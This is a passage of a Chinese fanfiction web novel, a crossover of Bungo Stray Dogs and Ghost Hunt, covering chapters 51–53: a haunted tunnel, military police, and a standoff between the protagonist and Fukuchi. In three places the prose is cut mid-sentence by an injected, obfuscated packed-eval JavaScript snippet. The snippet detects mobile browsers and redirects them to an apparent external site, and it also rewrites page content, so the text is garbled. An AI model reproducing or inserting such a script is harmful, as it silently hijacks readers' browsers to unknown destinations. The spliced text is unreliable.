林兴徐摇了摇头,他示意了一下手中的摄像,将摄像递给滝川法生。 滝川法生接过,边接边说,“我在后面发现一个笼子,挺高的,看起来不像是只关狗的笼子,真奇怪……啊!” 他看到了摄像画面。 环境温度不算太低,至少体感上,和外界差别不是特别大。明明外面已经是白天,这里却黑漆漆的。当然,灵异空间吗,不能用常理推断。但是…… “怎么这么多!” 热成像的画面里,每一座废弃的房屋内,以及后面,边边角角的地方,总有人形。漆黑的人形,晃来晃去,正在慢慢接近。 滝川法生严肃下来,“这里到底死过多少人,也太夸张了。” 这时,第三间房子里传出涉谷一也的声音,“都过来一下,看看这个。”他的声音不算大,只是这里实在太过安静,因此很容易被捕捉到。 两人对视一眼,走了过去。 …… “哇——” 没来得及抬走的机械,看起来就不像是水坝落成以前的年代该有的东西,表面却有锈蚀的痕迹,仿佛在水里泡过很久又打捞出来的一样。 涉谷一也尝试启动机械,失败。 “这里有人来过。” 滝川法生警惕周围的灵,镜头不时四下拍看,他走近,“……这些是做什么的?” “实验级别的磁场监测仪器,精度很高,”涉谷一也说道,“那边那个,是EEG,但不完全是。” “额……EEG?” “用于捕捉大脑信号并进行分析的装置。” 涉谷一也简单叙述。 房间里有小型的柴油发电机,林兴徐走过去检查了一下,发现里面还有柴油。他试着启动…… 吭哧吭哧的声音响起,像是老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863772|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式蒸汽动力火车运行时的声音似的。周围亮起了灯,几条LED灯带被简略挂在横梁上。 滝川法生:…… “厉害了,什么人啊,居然把这些搬进来。” 涉谷一也再次尝试启动手边的机器,这一次,他成功了。 “这里的磁场读数……” 几人凑近围观。 上上下下,闪现一样,峰值与低谷之间隔了好远的距离。 “不具备参考意义。”涉谷一也下了结论。 千寻给他们的小蜘蛛不知道什么时候爬上了他们的肩头,滝川法生举着摄像转了一圈,发现他们这间屋子已经被灵团团围住,他默默开口,“夏目,你那边情况怎么样?” …… 滝川法生看了眼自己肩头的小蜘蛛——这东西不会是单向的吧? 他试探着再次开口,“夏目?” …… 林兴徐看了眼周围,问道,“要出去么?” 涉谷一也已经来到简易搭建的办公区域旁边。器械都还在,但数据全被销毁了。 “这里有电子设备,里面的数据销毁了,有复原的可能么?” …… 夏目那边毫无反应,涉谷一也微微皱眉。 就在这时,其中一个蜘蛛突然‘开口’,“有无限外连功能吗?” 是千寻的声音。 林兴徐走上前,开始在遗留的电脑上操作。好在锈蚀只发生在表面,虽然被删除了数据,但电脑还能正常使用。 “有,已经打开了局域共享。” “把我放在旁边。” 林兴徐将肩头的蜘蛛放在电脑屏幕上方。 很快,电脑开始自行动作,一个个对话框弹开,看不很懂的代码嗖嗖嗖的飘过去。 滝川法生开口,“夏目呢?你们在干什么,之前怎么不回应,是信号不好吗?” “不是,”千寻随意答,“我们这边有一点情况。” 滝川法生看了一眼对着一个看起来像是召唤灵的外国道具的东西沉思的涉谷一也,“什么情况,你么那边也有灵吗?” “不是,没有,”千寻回答,“你们那边有鬼?” “多吗?长什么样?” 滝川法生:…… “我说,你只是好奇灵长什么样是吧。” “普通不就是这样么,我又没真的见过,”千寻无所谓的回答,“我们这边的话,不是鬼,是人。” “人?” “嗯,是见过的人,”顿了顿,千寻继续说,“你们应该也见过,之前在那个前首相的老房子里。” 滝川法生回忆了一下,“额……警察?” “不是……也不对,算是吧。” 什么叫算是啊喂! —————— “夏目社长在这里,是因为委托?” “嗯。” “很抱歉,这里将被军警接手,可以请你立刻离开吗?” “不可以。” 银戒在夏楠指尖来回转动,他漫不经心的回答。 “夏目社长是要和军警作对么?” “看情况吧。” 条野采菊按着腰间的刀,笑眯眯的站在夏楠面前,他的身边,站着一个新面孔,同样佩刀。 新面孔闻言开口,“要砍了吗?” “不要动不动就打打杀杀的啊,铁肠,”条野采菊叹气,“夏目社长是军警的编外顾问呢。” “哦,”末广铁肠说,“那要砍的时候,和我说一声。” “好好好。” 条野采菊发出哄小孩的声音。 夏楠没有开口,他的思绪似乎飘到了其它地方——的确飘到了其它地方。穿越,系统,量身定做的系统,一个个走到身边的二次元人物,不断接触到被隐藏的秘密。仿佛有一只手推着他向前,吉川惠子的委托,他以为只是太宰治的布局,所以后来太宰治出现,顺势将人留在了身边。 不……不对。 还有什么,他没抓住的什么。 进度条刷满以后会发生什么? 佐伯宅,前首相旧邸,井下朋花的委托,白井,犬鸣村,青木原树海。 六个。 七分之六。 对上了。 织田,太宰,千寻,果戈里,马场善治,涉谷一也。 六个。 七分之六,同样对上了。 空间,界线,另一个世界。 说起来,世界之间的干涉,是可能的么?无论规则如何相似,所谓的世界融合,一但开始就不可能捕捉不到,世界融合必定伴随着界线交融,这是铁律。可那个世界,是完全独立的世界,与这个世界没有任何交点。 ——故意露出气息,被我发现,只为了送一个戒指? 最后一个委托,对方已经送到了他手上,那么,最后一个社员的名额,又是谁? 有点牵强啊,但是…… 七是个神奇的数字,暗示。从一开始就存在的暗示,从那个简陋的模拟经营系统出现起就开始的暗示……不,是从进度条出现起就开始的暗示。 银戒在指尖旋转,却迟迟没有被好好带上。 如果要说文豪野犬这部作品中关于空间和世界的设定,那可真是太多了,空间和干涉类的异能层出不穷,特别是干涉类,几乎每一个异能都能算的上,而且越来越夸张。 夏楠的视线逐渐聚焦,聚焦在眼前的两人身上。 条野采菊,【千金之泪】,追番的时候没仔细看,但印象里似乎有粒子化这个异能应用,具体什么粒子,怎么化的,不知道,但粒子化本身就已经与干涉有关。 末广铁肠,【雪中梅】,对城级宝具……不是,总之,是能无视物理防御的伸缩刀拥有者与使用者。无视物理防御这种能力,本身也已经是干涉现实级别的能力。 夏楠的思维微微跑偏。 不知道让末广铁肠对着鬼灯来一刀,会发生什么?鬼灯有物免么? “夏目社长?” “……嗯?” 条野采菊微微转向夏楠身后正对着手机屏幕戳戳戳的千寻,“听起来你们似乎还有同伴?” “是社员。” 夏楠开口,他盯着条野采菊看了一会儿,“有个问题。” “夏目社长请问,”条野采菊说道,“不过,我不一定会回答。” “如果有人试图挑起你的情绪波动,他的目的会是什么?” 51.五十一 条野彩菊并没有立刻作答。 这个问题对他来说,简直不要太简单。 挑动他人情绪是为了什么? 自然是为了…… “……有机可乘。” 夏楠喃喃。 原来如此,可是,什么机?乘的又是什么? 条野采菊:…… 自问自答可还行。 他开口,“夏目社长,我是在很认真的通知你,你该离开了。” “军警要对这里做什么?” “不知道,”条野采菊耸肩,“我们也是奉命行事。” 夏楠笑了笑,“那么,我也很认真的通知你,请不要妨碍我社的正常调查过程。” 条野采菊,“调查过程?” “什么调查,你们在这里做什么?” “夏……社长,”千寻忽然开口,“他们要出来了。” 夏楠嗯了一声,继续回答条野采菊的问题,“一个普普通通,来自死人的委托。” 条野采菊的嘴角微微拉平了一些,“或许你愿意说的再清楚一些?” 夏楠微微歪头,“不愿意。” 条野采菊:…… 他们是接到通知后立刻赶过来的,完全不清楚内情,只知道暂时封锁犬鸣隧道这个命令。是以,也的确不知道夏楠会在这里。 夏楠轻飘飘的开口,“我社有权保护委托人的隐私信息,哪怕他已经是死人。” 条野采菊捕捉到关键词,“他?” 夏楠不说话了,他一步不动,挡在两人身前,只是笑。昏暗的光线下,看着有点瘆人。 举着摄像对准堵住隧道的碎石土堆的千寻不知道什么时候停止在手机上按按按,正看着摄像自带小屏幕,开口,“来了。” 紧接着,他啊了一声,边啊,边小碎步移动到了夏楠身边,“好多,这是鬼吧,这是鬼吗?” 夏楠看过去。 显示屏内,三个正常身影,一群黑漆漆的类人形。 三个正常身影已经来到他们身边。 嗯…… 夏楠看了一眼末广铁肠。 【雪中梅】啊…… 对城宝具来着。 ——我有一个好想法。 他对着千寻伸出手,千寻反应了一下,才将自己的耳麦摘下,递过来。 在军警面前,特别是条野采菊面前,暂时还是不要暴露太多,虽然已经暴露过了,他们估计早就拿到情报了。 夏楠对着耳麦开口,“你们先出去。” 耳麦另一边,涉谷一也立刻说,“数量太多了,很可能会波及到现实空间,你们也快点离开。” 条野采菊听力极佳,他说,“数量太多了?” 还有……现实空间? “是啊,”夏楠开口,“被困在与这个隧道叠加空间里的魂魄,曾经的犬鸣村的村民,还有后来,被诅咒猎杀的普通人。” “叠加空间?” “对,叠加空间,”夏楠说着,继续对耳麦开口,“你们先出去,我来想办法。” 条野采菊,“我并没有听到其他人的脚步声。” “他们在叠加空间里,他们被标记了,所以被拉进了那边,只要跑出隧道,就会回到正常世界。” 夏楠说着,将耳麦重新递还给千寻。 “劳驾几位退后,”他站在众人身前,“不能放他们搅乱这里,叠加现实的部分太过脆弱,挤过来的怨太多,会加速他们的扩散,到时候,他们很可能挣脱现有规则的束缚。” 是真言。 条野采菊判断。 当然是真言,只是前提错误。叠加现实的部分并不脆弱,脆弱的是连接本身,怨的聚集只会加强连接,无法做到挣脱规则。反倒是因为叠加部分相对比较稳定,一定程度上抑制了扩散。 这是界线本身的自愈能力在起作用,就像水的表面张力,一定程度内的挤压并不会让它碎裂四散。 如果真脆弱,没有张力,加速扩散自然就成了必然,规则也同样不再具备束缚的效力。 夏楠起手剑印。 千寻退后并将夏楠框进镜头中心。 条野采菊并没有动,他身边的末广铁肠也没有动。 但不重要。 怨,还是如此庞大的怨,虽然作为主宿体的咒还不明确是哪个,但是…… 夏楠的唇角微微勾起——但是,不妨碍它的狩猎本能 有活人站在它面前,就在离它极其近的地方,它会做什么? 气温开始降低,体感十分明显,眼前开始能看到晃来晃去的人形,半透明。他们越来越多,越来越多。 条野采菊只能察觉到气温变化,但末广铁肠却看到了眼前诡异的景象。他的拇指顶开了刀鞘,另一只手握住了刀柄。 条野采菊捕捉到了末广铁肠的动作,他微微向着身边人的方向偏头,“怎么了?” “有鬼,”末广铁肠没什么太多情绪起伏的回答,顿了顿,补充,“很多。” 晃来晃去的人形多数是衣衫褴褛的古人模样,少数穿着现代服装的,它们统一脸色清灰,嘴唇发白,眼球上有黑点,仿佛窒息而亡的尸/体在僵硬的移动。 在众人身前,其他人看不到的地方,夏楠轻轻闭眼,他的动作停顿了一下——说起来,似乎,已经有些适应这个世界了,另一半的自己。在界线相交的节点,这次并没有出现失控的预感。 停顿只是一瞬。 摇晃着靠近的怨灵已经近在眼前,夏楠感受到他们的靠近,压制住另一半自己,只完全展露属于常世的一面。 “天清地宁,四方肃靖!” 中文,夏楠念的很有气势,戏直接拉满。 他举起手。 无风的隧道内,以夏楠为中心,荡出一层气浪。 “破!” 举起的手随着敕令挥下,气浪席卷向前,冲开了挤挤挨挨的怨灵,冲散了它们身上的冷色。 但,只是一瞬。 暖色很快从它们身上褪去,冷色重新回归,短暂的解脱并没有给它们充足的时间脱离控制,它们再次变回了咒怨手中的伥鬼。 “嗬——嗬——” 不知从哪里,传来了犬类呲牙时的低吼声。声音在隧道内层层叠叠的散开,又重聚,越来越多,越来越响。 夏楠闭着眼,用十分严峻的语气开口,“千寻,退出去!” 千寻:…… “那你呢?” “我一会儿就出去。” 千寻向夏楠投去质疑的目光,他觉得哪里怪怪的,首先,这次的咒文就很短,其次……虽然眼前的鬼挺多的,但他真不觉得这点小事能让夏楠如此严阵以待。 ——这家伙刚刚还在说什么‘我就是最大的保障’这种逼格拉满的话啊! 夏楠已经换了个手印。 “妄念不生,杂虑不起,神光自守……邪氛不入,戾气不侵,地煞归藏!” 又是一道气浪,震起无数尘土与地面杂物,气浪四散推开,对人无用,对怨鬼,却十分有效。 话音落,夏楠并指向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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演戏是真的,但同样,千寻惊恐也不是假的,担忧更不是假的。 真是够了。 “你知道铁肠的异能力是什么,”条野采菊开口,“你想算计他出手。” “对。” 夏楠已经被好几个模糊身影包围,它们的手紧紧抓住他的四肢,并没有遭遇反抗。空气中弥漫着淡淡的铁锈味,是夏楠刚刚喷出去的那一团血雾留下的。 “你到底想做什么?” 夏楠的脸色比之前苍白了许多,“对空间具有一定干涉作用的攻击型异能,我要做什么?”他说,“我要你的朋友,对着这里,来一刀狠的。” “你知道我们在另一个空间发现了什么么?” “实验器材,有人在人为的扩大这片区域,你知道这会对界线产生多大的危害么?” 条野采菊狠狠皱眉。 夏楠继续说道,“他们算计我来这里,他们知道我没办法在交汇的节点尽全力,他们想要除掉我,哦,不知道你知道不知道,探灵社被袭击了。” 他笑了笑,声音十分虚弱,“让你的队友,对这里来一刀狠的,条野君。” 此乃真言。 条野彩菊知道夏楠的界线论,他曾经听过现场,回去后还找相关文献详细了解过。 在另一个世界发现了实验器材? 夏楠的半边身体已经被拖拽进了虚空。 千寻有些急了,他不知道夏楠的话里有多少真多少假。而他的表现,让同样也在注意分辨他的肢体反馈的条野采菊终于有了决断。 末广铁肠整刀出鞘,他不打算再等队友判断了。 “条野,带着那个小子,站到我身后。” 条野采菊叹息一声,他将千寻拉到身边,“别伤到夏目社长。” 52.五十二 什么东西。 有什么东西,在高速接近。 天上! 条野采菊微微仰头,末广铁肠看向天空。 这个反应…… 夏楠停下试图离开的脚步,看了二人一眼,收回视线。作为主导交涉的几人忽然保持沉默,其余人不明就里,顺着末广铁肠的视线往天空看去。 千寻一愣,开口,“夏目,那……” 他的话没来得及说完。 砰! 不远处的空地上,忽然坠落一个金属外壳的不明物体,不大,却也不小。物体将地面砸出一个深坑,高速移动带起的风迟来般肆虐,卷起夏楠的头发。发丝飞舞间,军警们上前警戒,被认出来的究竟是什么东西的条野采菊拦下。 夏楠看向那边。 所有人都看向那边。 刚刚经历过从无数恶灵当中突围的和尚满身狼狈,一脸懵逼,“什……什么情况?” 千寻微微眯眼,走了两步,来到夏楠身边。 仿佛是航天返回舱,但表面并没有穿越大气层会留下的高温灼烧痕迹,周围的树木被砸断了好几颗。 涉谷一也看了一圈周围的人,想了想,带着林兴徐与滝川法生一起,移动到夏楠身后,与千寻并排。 千寻看了他们一眼,没做评价。 有舱门,舱门被人从内部踹开了。 “啊呀——稍微有点没控制好,这里实在是没有足够的降落空间啊。” 一名白发中年男性,单手抓住敞开的舱门边缘,利落的从里面翻了出来。他整理了一下身上略微有些凌乱的衣物,简单与条野采菊和末广铁肠打过招呼以后,在条野采菊的询问声中,单手叉腰,目光逡巡人群,似乎是在找什么人。 并没费什么功夫,人群中最显眼的家伙,一眼锁定。 白发中年男性拍了拍已经走到自己身边的条野采菊的肩膀,“哈哈哈,抱歉抱歉,没有事先通知你们,我就是来交个朋友。” “哈?!”条野采菊开口,“动用远距离奇袭专用的弹道飞行舱,就为了交朋友?!” 警戒中的军警听到这句话,反应过来来人是谁,一个个面面相觑。 “麻麻~不要总是在意这些细节,条野。” “不,我认为这才是该注意的细节,这里根本不具备降落条件!” 白发中年讪笑两声,绕过条野采菊,朝着夏楠走了过来。 “……喂!” 条野采菊转身,“队长,你似乎该给我们一个更加合理的解释。” “那种事,之后再说啦。” 白发中年男性无所谓的摆摆手。 他很高大,似乎比夏楠还要高一些,身材结实,穿着军警的制服,腰间佩刀。 千寻认出了那张脸,张了张嘴,试图提醒,但最终,还是没有出声。 白发中年在夏楠面前站定。 “哦,是这种感觉。” 迎面是夏楠不带什么感情的注视,他抬起手摩挲下巴,“危险,原来如此。” 白发中年说着,忽然站直,仪态稍微端庄了些,“你好,可否借一步说话?” 千寻犹豫一会儿,再次张口,几乎发出声音。 夏楠开口了。 他的视线停留在对方脸上,“好哦。” “哈哈哈,爽快!” 白发中年男性侧身,“那就请吧!” 夏楠的视线从对方的脸,移动到对方腰间的刀,停顿半晌,收回视线。 “千寻,涉谷,等我一会儿,”夏楠看向千寻暗含警惕的脸,补充,“很快回来。” —————— 武装侦探社。 “你们特意提到特异点与荒霸吐,不知道特异点和荒霸吐,与探灵社向侦探社提出的委托,有什么关联?” “那当然……”太宰治开口,“……非常有关联。” “如果提到秩序与理性,相关的异能力,福泽阁下,你觉得会是什么?” 福泽谕吉一愣,紧接着,“……探灵社的意思是,他们盯上了乱步?” “不,这可不是探灵社的意思,”太宰治歪头,“人造异能,人造神明……他们得感谢夏目,毕竟,夏目的理论给了他们崭新的方向。” “融合!” “既然无法控制,那就植入理性,植入秩序。” “不止是异能,不只是神秘侧,福泽先生,是人,人,对于人来说,所有一切的起点。” “对,人,人才是所有的中心,认知,潜意识,行为,选择,诅咒,咒怨,异空间。” “夏目告诉了所有人这件事,于是停滞的研究,有了新的方向。” “最近横滨发生了不少灵异事件,对吧?” “那些人见委托探灵社邮箱迟迟没有回复,退而求其次,许多委托都会涌向侦探社。” “真真假假,假假真真……” 太宰治勾起嘴角,“江户川乱步,乱步先生的超推理,福泽先生,你觉得,他已经展示了多少次?” 福泽谕吉的脸沉了下去。 “数据收集是很重要的一环,阁下不如猜猜看,”太宰治摊开手,“猜猜看,他们有没有发现……” 在福泽谕吉沉默的注视下,太宰治吐出一行字,“……发现江户川先生的异能,根本不存在。” 啪。 关闭的办公室门被人推开,江户川乱步带着眼镜,出现在门口。 “大叔,不要被这些家伙唬……”他的视线落在似笑非笑的太宰治身上,忽然顿住了。 “原来如此。” 江户川乱步睁开了眼睛,“大叔,那些人的目的不是我,是你。” 太宰治愉快的笑了起来。 “不愧是乱步先生,我还在想,你究竟什么时候才会忍不住进来。” 福泽谕吉,异能力【人上人不造】 让失控变为可控,没有比这更适合的异能了。 太宰治拍了下手,“现在,让我们真正进入正题。” “如果一个组织,他们只需要异能,不需要拥有异能的人,这个时候,他们会怎么做。” 江户川乱步,“剥夺异能。” “对,剥夺异能,”太宰治看向福泽谕吉,轻声,“福泽社长似乎想起了什么的样子。” —————— 擂钵街。 羊组织基地。 气氛很凝固,他们刚刚大吵了一架。说是吵架,其实是一方掀起的指责与埋怨,充满恐惧和排斥的话语压的中原中也喘不上气。 “……我知道了,我现在就离开。” “你现在离开有什么用!” 一名少女疯狂的将手边的东西扔向中原中也,“如果不是因为你,他们不会死,我们也不用躲躲藏藏,那些家伙的目标明明就是你!” 中原中也不闪不避,他的脸上堆满了自责与难过,还有许多不知所措的恐慌。 “……我现在就去解决这件事,你们……你们躲好,”中原中也紧紧捏拳,“我会解决他们的。” 说完,他转身,在身后不间断的咒骂声中,离开了这间不大的地下室。 羊组织的成员锐减,其实并不仅仅只是羊,擂钵街的许多住民都消失了,偶尔会有尸体出现,但这里经常出现尸体,所有人都习以为常。没人在意擂钵街内变成了什么样子,没人在乎。失踪了多少黑户,不会有人在意,更不会有人去寻找他们,为了他们付出自己宝贵的精力。 说是调查,但中原中也并没有什么明确的目的地。他所能被人觊觎的,只有未知的身世,和自身的异能力。羊组织?一个流浪青少年为了生存抱团取暖的地方,比起组织,更像集会。那些大人物不会看上这样的组织,他们想要的,往往更多,也更精细。 不知不觉间,中原中也来到了森鸥外的小医馆。这里已经没有人了,同样也没有尸体,羊的同伴被他运走掩埋,剩下的痕迹,据说港口黑手党的人来调查过,大概已经被清理干净了。 那些人…… 中原中也抬起头,看向医馆的门口。 他看到了一个身影。 黑色微卷长发,并不寒冷的天气,却围着围巾,带着耳罩。 “好冷啊……” 那个人看着中原中也,呢喃般吐出一句话。 中原中也:…… “你是谁?” “我吗?”男人开口,“我的名字是兰堂,boss,也就是港口黑手党的boss,森先生叫我来协助你。” “不需要。” 兰堂似乎没听到一样,继续说道,“协助你调查……荒霸吐的真身。” “荒霸吐?”中原中也皱眉,“那和我有什么关系?” “因为……”兰堂搓了搓两只带着手套的手,“……因为,袭击你的人,找的其实是荒霸吐。” “……哈?!” “目前已知的是,他们有两个目标,一个是你,另一个……”兰堂看着中原中也,那种目光,让中原中也不适的抿嘴,“……另一个,或许你有听说过。” “探灵社的社长,夏目楠。” 中原中也的确没听说过这个名字,他眉头紧锁,“所以?你到底想说什么?那群人以为我们是荒霸吐?” “荒霸吐又是什么东西?” “荒霸吐啊……”兰堂微微勾起唇角,“荒霸吐,是神明啊,中原君。” —————— “嗯,我就单刀直入的问了。” 白发中年人站在夏楠面前,开口,“你要加入猎犬吗?” “猎犬是?” “军警特殊作战部队,”白发中年人指了指自己,“我是队长。” “那么你的名字是?” “哦,我还没自我介绍吗?”中年男人一愣,随即笑了笑,“抱歉抱歉,我的名字,福地樱痴。” “你好,夏楠。” “哈哈哈,其实不用拘泥这些过场,”福地樱痴开口,“所以,怎么样,加入猎犬?” “我拒绝。” “这样啊,真是遗憾。” 夏楠看着眼前的人,“阁下的真实目的应该不是跳槽邀请,不如直说?” “哦——”福地樱痴看着夏楠,摸下巴,“还真是和资料里一模一样,作弊一样的能力。” 他好奇的问,“你还能看出什么?” 夏楠笑了笑,“你确定想知道?” “嗯?为什么不?” 夏楠微微歪头,“好吧,既然你诚心诚意的问了。” 他站在原地,漆黑的瞳孔紧紧锁定眼前的人,适应了这个世界的情况以后唯一的好处,控制力加强了,不会再动不动磁场外泄。 夏楠言简意赅,“你想杀我。” …… 短暂的沉默后,福地樱痴忽然叹气,“果然是很了不起的能力啊,真的不再考虑考虑猎犬吗?” “不考虑呢。” 福地樱痴笑了笑,他的手搭在了腰间的刀柄上,一下一下,敲打着刀鞘。 “不问问为什么吗?” 夏楠微笑,“为什么呢?” 福地樱痴还真就说了,“因为你会给这个世界带来毁灭,只有你死,这个世界才会恢复正常。” 夏楠:…… 他的笑意扩大,“放屁。” 福地樱痴:…… “你以为你在和什么人说话?”夏楠看着他,“你腰间的刀知道自己的使用者光长年纪不长脑子吗?” “它应该很后悔吧,居然有一个愚蠢的主人。” 福地樱痴:…… 他表情委屈的开口,“说我就说我,为什么要说我的刀啊……” 夏楠并不打算废话,他真的很忙,“动手么?” “我倒是想,”福地樱痴开口,“可是没用,我杀不了你。” 他的异能力严格来说并不是预知类,却能借助武器的特性达成类似‘预知’的成效。比如,在未来,往过去的空间留个刀尖尖以达成对过去的自己进行提醒这种事。天知道他这一路上看到了多少刀尖尖。 每一个,都是他试图杀死夏楠失败的证明。 难办啊,眼前的人。 夏楠不置可否,他开口,“既然阁下不打算动手,那么,接下来是我的提问时间。” “哦?” “一,是什么让你有了,我死了世界才会恢复正常的错觉?” “抱歉,是机密。”福地樱痴耸肩。 夏楠对对方的敷衍并没什么表示,他继续问,“二,是什么让你有了,世界会毁灭的认知。” 福地樱痴叹气,用沉默表达了自己的态度。 夏楠继续,“三,你的刀和你的异能力有告诉你,拒绝回答的下场么?” 话音落,以夏楠为中心,刷的一下,空间陷入了诡异的沉寂。飘落的树叶停滞空中,吹拂的微风消失不见,天上的云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880780|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停止流动,一切的一切…… “时间静止?” 福地樱痴四处看了看,“真是了不得的能力。” 他似乎很放松,但下一刻,他再也放松不起来。额角有汗水沁出,手指不受控制的抽动。 “不继续么?” 夏楠站在原地,一动不动,“你的刀,还有你的异能。” …… “真是可怕啊……” 【镜狮子】 能够将武器的性能放大百倍的异能力。 雨御前。 一款可以干涉时间,且拥有必中属性的‘神器’。 夏楠对对方的评价无动于衷,他开口,“你要知道,在接受到毁灭世界这种程度的指控以后,我还能放你自由活动而不是直接强行进行审问的原因只有一个——你的愿望。” “世界和平。” 福地樱痴沉默。 “我赞赏并尊重每一位理想主义者,所以,你的愿望能够成为你一次冒犯的挡箭牌,但它不能做到第二次也同样有效。” 夏楠的嘴角下移,“或许是我一直以来的作风给了你们什么错觉,让你们觉得,我是一个可以任凭你们随意试探都不会动怒的人。” 他微微歪头,“不在意,并不是你们一而再再而三冒犯的理由。” “现在,回答我的问题。” “那个把你忽悠到这里来的人,是谁?” 福地樱痴:…… 失算了。 没想到居然这么难缠,比起情报当中的空间干涉,难缠一万倍。这样的人,如果想毁灭世界,真的需要…… “我还有最后一个问题。” 话音刚落,福地樱痴忽然后退,他的身体素质极其可怕,接受过身体改造的速度与爆发力让他能够做到短时间内的高速位移。但这次,他只是后退了半步,就停下了。 夏楠站在了他面前,抬手的动作是那么慢,却无法躲避,无法拒绝。所有一切试图改变、反击的行为全都无效,在这片空间里,夏楠是真正的、唯一的主宰。 “神器?”夏楠开口,“什么都不是。” 他的手搭在了福地樱痴的喉咙上,简单的碰触,没用一点力道。 “让我猜猜,你们收到的是什么样的情报,那个厨师带给你们的,”夏楠看着眼前的人强撑的模样,强撑,却止不住的颤抖,强撑,却汗如雨下,“面对我的时候,越畏缩,越恐惧,越受制。” 他向来擅长直钩钓鱼。 “你猜,在知道有人盯上我的前提下,我为什么还会将自己的能力展现在你们的人面前?” 福地樱痴一动不动,不是他不想,而是做不到。 不是,根本不是。只要不恐惧,控制住情绪,就不会有问题。谁的能力都有限制,所有的超凡能力都有极限,比如他自己,受限于武器,比如太宰治,受限于碰触。 就算是超越者,也会有限制,也会有极限。 夏楠的也是碰触,碰触和情绪。 这是正常情况下本该有的前置限制,情报告诉他如此,他就理所当然的认为是正确的。 空间能力,不过如此。 他可以试探,他和他的雨御前,老搭档了,就算做不到一击必杀,也有其它迂回的方法。 但现实给了他狠狠一击。 眼前的人根本不像情报中提到的那样,不仅仅是空间能力,连雨御前都被压制了,他的能力,究竟是什么? “回答我的问题,福地先生,”夏楠面无表情的看着他,“作为被咬钩的鱼,你得有最基本的素养。” 福地樱痴敏锐的捕捉到了对方言词当中的不同——被咬钩? 是指他自己送上门,还是指…… 他终于开始仔细思考夏楠的问题——那个把你忽悠到这里的人,是谁? …… “某一天,”福地樱痴终于开口了,在夏楠的注视下,“某一天,我在演示能力的时候,无意间斩开了时间裂隙,看到了……” 城市化作焦土,多国军队混战,普通人被屠/杀,空气中悬浮着倒计时般的数字,数字如火焰燃烧。 “……它告诉我,战争将要来临。” 夏楠没说话,只是看着他。 “可是,就在三个月前,我再次斩开时间裂隙,却看到了……” 世界如积木般崩塌,一切都被虚无吞噬,没有任何人能幸免。而在吞噬的最前沿,他看到了…… “……你,你站在那里。” 夏楠:…… “只是站着?” “只是站着。” “站在里侧,还是外侧?” “外侧,站在世界外侧。” 夏楠沉吟,半晌,开口,“时间?” “没有时间。” 夏楠唔了一声。 他松开了搭在福地樱痴脖子上的手,“所以你想杀了我?” “……近年来,神秘侧开始活跃,各种灵异事件层出不穷。” “所以?” 福地樱痴浑身无力,他抽出自己的刀拄着地,努力不瘫倒,“我推侧,正是神秘侧的问题,引发了世界崩塌。” “理由?” 福地樱痴看着夏楠,“在你放出那个视频以后,那个用磁场干涉来净化怨灵的视频以后,我再一次窥见了未来。” 这一次,是在横滨,他认识,那就是横滨。同样的崩塌,同样的界线。界线的另一端,是夏楠,界线的这边,是他自己。无数的悲鸣在耳边回响,怨灵四处游荡,残存的人间宛若地狱。 他在大声质问,质问夏楠为什么要这么做。 夏楠:…… 有大病。 他看着对方,“还有么?” “只有这些。” 在那之后,无论福地樱痴再做什么样的努力,都无法再窥探到未来。 夏楠嗯了一声。 他开口,“明白了。” “你会毁灭世界。” “我不会,”夏楠开口,“这个世界上,任何一个存在都有可能毁灭世界,一个人,一粒砂,一滴水,唯独我,不会。” 福地樱痴眯眼,“这么肯定?” 夏楠冷淡的看着他,“因为我做不到。” 福地樱痴愣住了。 夏楠继续说道,“就算我是个天然的反世界人格,一天天琢磨的都是这些东西,我也不行。” “因为我做不到。” 53.五十三 “……仅仅只凭借你本人的辩解,并不能说服我。” 夏楠看着福地樱痴。 “我并不是在说服,而是告知。” 什么是守界人? 驻守界线,维护界线的人。他早已是界线的一部分,就像人体内的免疫细胞,只不过守界人款的免疫细胞比较抗造,可以反复使用。 原本,他不属于这个世界,他是另一个世界界线的一部分,一款运行中的人形杀毒软件。穿越,就像是强行将他安装在不匹配系统里,然后因为未知原因,明明不匹配却能磕磕绊绊的运行。 他依旧能感受到自己与这个世界的隔阂,只是这个隔阂,已经不再如同刚来时那么明显。 随着一次次的委托被完成,他在逐渐融入这个世界,成为这个世界的一部分。 刚开始的时候,夏楠以为重要动漫角色才是融入的钥匙,毕竟系统就是这样暗示他的,刚刚好对的上号的人数,被排除在外的吉川惠子,以及存在感十足的太宰治。文豪野犬的诸位,名侦探柯南的诸位,博多豚骨拉面团的诸位,鬼灭之刃的诸位,恶灵猎人的诸位,夏目友人帐的诸位。 但现在,他察觉到,并不是,或者说,并不完全是。 真有意思。 明明最初遇到的是灵异事件,他的潜意识却没有告诉自己穿的是综恐,在看到织田作之助之后,却第一时间有了判断——自己穿的是二次元。 明明一直在解决神秘侧的委托,却从未往恐怖片场的方向去思考,而是一直将注意力集中在二次元。 为什么呢? …… 哦,不好意思,偏题了。 夏楠眨了下眼,拉回了飞散的思绪。 他开口,“福地先生,我有一个疑问,”夏楠看着对方,福地樱痴的恢复力十分惊人,他看上去比几秒前好了太多,“你知道什么叫‘第二手现实’吗?” “……第二手现实?” 